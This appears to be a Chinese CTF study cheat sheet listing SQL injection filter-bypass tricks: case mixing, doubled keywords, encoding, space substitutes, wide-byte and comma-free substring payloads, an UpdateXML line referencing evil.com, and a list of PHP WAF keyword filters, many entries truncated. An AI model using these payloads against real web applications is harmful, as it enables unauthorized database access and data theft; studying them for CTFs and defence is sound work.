整理一下sql注入的各种绕过姿势,以后做题方便查阅。
0x00 注释符
常用注释:
1 | // |
0x01 大小写绕过
用于绕过一些对大小写敏感的黑名单匹配
?id=1 UnIon SeLeCt user()#
0x02 双写绕过
waf将关键字替换为空,没有递归
?id=1 uniunionon seselectlect user()#
0x03 编码绕过
利用urlencode,ascii(char),hex,unicode等编码绕过
1 | or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 |
0x04 绕过空格
1 | 用Tab代替空格 |
0x05 like绕过
1 | ?id=1' or 1 like 1# |
0x06 in绕过
1 | or '1' IN ('1234')# |
0x07 等价函数或变量
1 | hex()、bin() ==> ascii() |
0x08 生僻函数
1 | MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’); |
0x09 反引号绕过
1 | select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用 |
0x0a 宽字节绕过
1 | 宽字节绕过主要是sql数据库编码问题造成的,在过滤单引号时,可以尝试用 |
0x0b \N绕过
\N相当于NULL字符
1 | select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 |
0x0c 特殊的绕过函数
1.用greatest()绕过<>
1 | mysql> select greatest(ascii(mid(user(),1,1)),150)=150; |
2.使用mid()等逗号被过滤的情况
mid(user() from 1 for 1)
substr(user() from 1 for 1)
1 | mysql> select ascii(substr(user() from 1 for 1)) < 150; |
php中常见的waf及绕过
php过滤直接用preg_match('/('.waf.')/i',$id)
过滤and or
1 | waf = 'and|or' |
过滤union
1 | waf = 'and|or|union' |
过滤where
1 | waf = 'and|or|union|where' |
过滤limit
1 | waf = 'and|or|union|where|limit' |
过滤group by
1 | waf = 'and|or|union|where|limit|group by' |
过滤select
1 | waf = 'and|or|union|where|limit|group by|select' |
过滤’(单引号)
1 | waf = 'and|or|union|where|limit|group by|select|\'' |
过滤hex
1 | waf = 'and|or|union|where|limit|group by|select|\'|hex' |
过滤substr
1 | waf = 'and|or|union|where|limit|group by|select|\'|hex|substr' |